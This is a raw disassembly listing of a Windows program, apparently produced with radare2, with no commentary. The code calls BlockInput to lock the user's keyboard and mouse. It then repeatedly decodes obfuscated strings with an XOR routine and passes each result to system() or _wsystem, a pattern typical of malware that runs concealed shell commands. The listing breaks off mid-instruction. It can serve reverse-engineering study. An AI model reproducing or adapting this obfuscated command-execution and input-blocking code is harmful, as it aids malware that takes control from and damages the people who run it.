lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f22a
call fcn.14008efcc
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 7
mov word [rbp + 0xb0], di
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14000d514
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d50f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f231
call fcn.14008efcc
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], di
lea rcx, [rbp + 0x3248]
cmp qword [rbp + 0x3260], 8
cmovae rcx, qword [rbp + 0x3248]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp + 0x3260]
cmp rdx, 8
jb 0x14000d58a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d585
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f231
call fcn.14008efcc
mov qword [rbp + 0x3258], rdi
mov qword [rbp + 0x3260], 7
mov word [rbp + 0x3248], di
mov rdx, qword [rbp + 0x3280]
cmp rdx, 8
jb 0x14000d5e9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d5e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016e21
call fcn.14008efcc
mov qword [rbp + 0x3278], rdi
mov qword [rbp + 0x3280], 7
mov word [rbp + 0x3268], di
add rsi, 0x20
cmp rsi, r15
jne 0x14000d220
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
movups xmm0, xmmword [0x1400a4db0]
movups xmmword [rbp + 0x21d0], xmm0
movups xmm0, xmmword [0x1400a4dd0]
movups xmm1, xmmword [0x1400a4dc0]
movups xmmword [rbp + 0x21f0], xmm0
movups xmmword [rbp + 0x21e0], xmm1
movups xmm0, xmmword [0x1400a4df0]
movups xmm1, xmmword [0x1400a4de0]
movups xmmword [rbp + 0x2210], xmm0
movups xmmword [rbp + 0x2200], xmm1
movups xmm0, xmmword [0x1400a4e10]
movups xmm1, xmmword [0x1400a4e00]
movups xmmword [rbp + 0x2230], xmm0
movups xmmword [rbp + 0x2220], xmm1
movzx eax, byte [0x1400a4e40]
movups xmm0, xmmword [str.______a5_7sj__X]
movups xmm1, xmmword [0x1400a4e20]
mov byte [rbp + 0x2260], al
movups xmmword [rbp + 0x2250], xmm0
movups xmmword [rbp + 0x2240], xmm1
mov r8d, edi
mov esi, 4
lea r15d, [rsi + 0x1b]
cmp r14d, 2
jl 0x14000d809
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x21d4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000d700
cmp r8d, 0x91
jge 0x14000d853
movsxd rax, r8d
lea r9, [rbp + 0x21d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x14000d820
lea rcx, [rbp + 0x21d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5b40]
movups xmmword [rbp + 0x1950], xmm0
movups xmm0, xmmword [0x1400a5b60]
movups xmm1, xmmword [0x1400a5b50]
movups xmmword [rbp + 0x1970], xmm0
movups xmmword [rbp + 0x1960], xmm1
movups xmm0, xmmword [0x1400a5b80]
movups xmm1, xmmword [0x1400a5b70]
movups xmmword [rbp + 0x1990], xmm0
movups xmmword [rbp + 0x1980], xmm1
mov eax, dword [0x1400a5bd0]
movups xmm0, xmmword [0x1400a5ba0]
movups xmm1, xmmword [0x1400a5b90]
mov dword [rbp + 0x19e0], eax
movups xmmword [rbp + 0x19b0], xmm0
movups xmmword [rbp + 0x19a0], xmm1
movzx eax, byte [0x1400a5bd4]
movups xmm0, xmmword [0x1400a5bc0]
movups xmm1, xmmword [0x1400a5bb0]
mov byte [rbp + 0x19e4], al
movups xmmword [rbp + 0x19d0], xmm0
movups xmmword [rbp + 0x19c0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000da49
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1954]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000d940
cmp r8d, 0x95
jge 0x14000da93
movsxd rax, r8d
lea r9, [rbp + 0x1950]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x95
jl 0x14000da60
lea rcx, [rbp + 0x1950]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.QFFY]
movups xmmword [rbp + 0xfa0], xmm0
movups xmm0, xmmword [0x1400a67d0]
movups xmm1, xmmword [0x1400a67c0]
movups xmmword [rbp + 0xfc0], xmm0
movups xmmword [rbp + 0xfb0], xmm1
movups xmm0, xmmword [0x1400a67f0]
movups xmm1, xmmword [0x1400a67e0]
movups xmmword [rbp + 0xfe0], xmm0
movups xmmword [rbp + 0xfd0], xmm1
movzx eax, word [0x1400a6838]
movups xmm0, xmmword [0x1400a6810]
movups xmm1, xmmword [0x1400a6800]
mov word [rbp + 0x1028], ax
movups xmmword [rbp + 0x1000], xmm0
movups xmmword [rbp + 0xff0], xmm1
movzx eax, byte [0x1400a683a]
movsd xmm0, qword [0x1400a6830]
movups xmm1, xmmword [0x1400a6820]
mov byte [rbp + 0x102a], al
movsd qword [rbp + 0x1020], xmm0
movups xmmword [rbp + 0x1010], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000dc8b
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xfa4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14000db82
cmp r8d, 0x8b
jge 0x14000dcd3
movsxd rax, r8d
lea r9, [rbp + 0xfa0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8b
jl 0x14000dca0
lea rcx, [rbp + 0xfa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a6330]
movups xmmword [rbp + 0x1030], xmm0
movups xmm0, xmmword [0x1400a6350]
movups xmm1, xmmword [0x1400a6340]
movups xmmword [rbp + 0x1050], xmm0
movups xmmword [rbp + 0x1040], xmm1
movups xmm0, xmmword [0x1400a6370]
movups xmm1, xmmword [0x1400a6360]
movups xmmword [rbp + 0x1070], xmm0
movups xmmword [rbp + 0x1060], xmm1
movzx eax, word [0x1400a63b8]
movups xmm0, xmmword [0x1400a6390]
movups xmm1, xmmword [0x1400a6380]
mov word [rbp + 0x10b8], ax
movups xmmword [rbp + 0x1090], xmm0
movups xmmword [rbp + 0x1080], xmm1
movzx eax, byte [0x1400a63ba]
movsd xmm0, qword [0x1400a63b0]
movups xmm1, xmmword [0x1400a63a0]
mov byte [rbp + 0x10ba], al
movsd qword [rbp + 0x10b0], xmm0
movups xmmword [rbp + 0x10a0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000decb
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1034]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x14000ddc2
cmp r8d, 0x8b
jge 0x14000df13
movsxd rax, r8d
lea r9, [rbp + 0x1030]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8b
jl 0x14000dee0
lea rcx, [rbp + 0x1030]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a4400]
movups xmm0, xmmword [0x1400a43f0]
movups xmmword [rbp + 0xbe0], xmm1
movups xmmword [rbp + 0xbd0], xmm0
mov eax, dword [0x1400a4470]
movups xmm1, xmmword [0x1400a4420]
movups xmm0, xmmword [0x1400a4410]
mov dword [rbp + 0xc50], eax
movups xmmword [rbp + 0xc00], xmm1
movups xmmword [rbp + 0xbf0], xmm0
movzx eax, word [0x1400a4474]
movups xmm1, xmmword [0x1400a4440]
movups xmm0, xmmword [0x1400a4430]
mov word [rbp + 0xc54], ax
movups xmmword [rbp + 0xc20], xmm1
movups xmmword [rbp + 0xc10], xmm0
movzx eax, byte [0x1400a4476]
movups xmm1, xmmword [0x1400a4460]
movups xmm0, xmmword [0x1400a4450]
mov byte [rbp + 0xc56], al
movups xmmword [rbp + 0xc40], xmm1
movups xmmword [rbp + 0xc30], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14000e109
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xbd4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000e000
cmp r8d, 0x87
jge 0x14000e153
movsxd rax, r8d
lea r9, [rbp + 0xbd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x87
jl 0x14000e120
lea rcx, [rbp + 0xbd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4050]
movups xmmword [rbp + 0x18b0], xmm0
movups xmm0, xmmword [0x1400a4070]
movups xmm1, xmmword [0x1400a4060]
movups xmmword [rbp + 0x18d0], xmm0
movups xmmword [rbp + 0x18c0], xmm1
movups xmm0, xmmword [0x1400a4090]
movups xmm1, xmmword [0x1400a4080]
movups xmmword [rbp + 0x18f0], xmm0
movups xmmword [rbp + 0x18e0], xmm1
mov eax, dword [0x1400a40e0]
movups xmm0, xmmword [0x1400a40b0]
movups xmm1, xmmword [0x1400a40a0]
mov dword [rbp + 0x1940], eax
movups xmmword [rbp + 0x1910], xmm0
movups xmmword [rbp + 0x1900], xmm1
movzx eax, byte [0x1400a40e4]
movups xmm0, xmmword [0x1400a40d0]
movups xmm1, xmmword [0x1400a40c0]
mov byte [rbp + 0x1944], al
movups xmmword [rbp + 0x1930], xmm0
movups xmmword [rbp + 0x1920], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000e349
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x18b4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000e240
cmp r8d, 0x95
jge 0x14000e393
movsxd rax, r8d
lea r9, [rbp + 0x18b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x95
jl 0x14000e360
lea rcx, [rbp + 0x18b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5be0]
movups xmmword [rbp + 0x11e0], xmm0
movups xmm0, xmmword [0x1400a5c00]
movups xmm1, xmmword [0x1400a5bf0]
movups xmmword [rbp + 0x1200], xmm0
movups xmmword [rbp + 0x11f0], xmm1
mov eax, dword [0x1400a5c70]
movups xmm0, xmmword [0x1400a5c20]
movups xmm1, xmmword [0x1400a5c10]
mov dword [rbp + 0x1270], eax
movups xmmword [rbp + 0x1220], xmm0
movups xmmword [rbp + 0x1210], xmm1
movzx eax, word [0x1400a5c74]
movups xmm0, xmmword [0x1400a5c40]
movups xmm1, xmmword [0x1400a5c30]
mov word [rbp + 0x1274], ax
movups xmmword [rbp + 0x1240], xmm0
movups xmmword [rbp + 0x1230], xmm1
movzx eax, byte [0x1400a5c76]
movups xmm0, xmmword [0x1400a5c60]
movups xmm1, xmmword [str.WLNKII]
mov byte [rbp + 0x1276], al
movups xmmword [rbp + 0x1260], xmm0
movups xmmword [rbp + 0x1250], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000e599
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x11e4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000e490
cmp r8d, 0x97
jge 0x14000e5e3
movsxd rax, r8d
lea r9, [rbp + 0x11e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000e5b0
lea rcx, [rbp + 0x11e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3fb0]
movups xmmword [rbp + 0x1280], xmm0
movups xmm0, xmmword [0x1400a3fd0]
movups xmm1, xmmword [0x1400a3fc0]
movups xmmword [rbp + 0x12a0], xmm0
movups xmmword [rbp + 0x1290], xmm1
mov eax, dword [0x1400a4040]
movups xmm0, xmmword [0x1400a3ff0]
movups xmm1, xmmword [0x1400a3fe0]
mov dword [rbp + 0x1310], eax
movups xmmword [rbp + 0x12c0], xmm0
movups xmmword [rbp + 0x12b0], xmm1
movzx eax, word [0x1400a4044]
movups xmm0, xmmword [0x1400a4010]
movups xmm1, xmmword [0x1400a4000]
mov word [rbp + 0x1314], ax
movups xmmword [rbp + 0x12e0], xmm0
movups xmmword [rbp + 0x12d0], xmm1
movzx eax, byte [0x1400a4046]
movups xmm0, xmmword [0x1400a4030]
movups xmm1, xmmword [0x1400a4020]
mov byte [rbp + 0x1316], al
movups xmmword [rbp + 0x1300], xmm0
movups xmmword [rbp + 0x12f0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000e7e9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1284]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
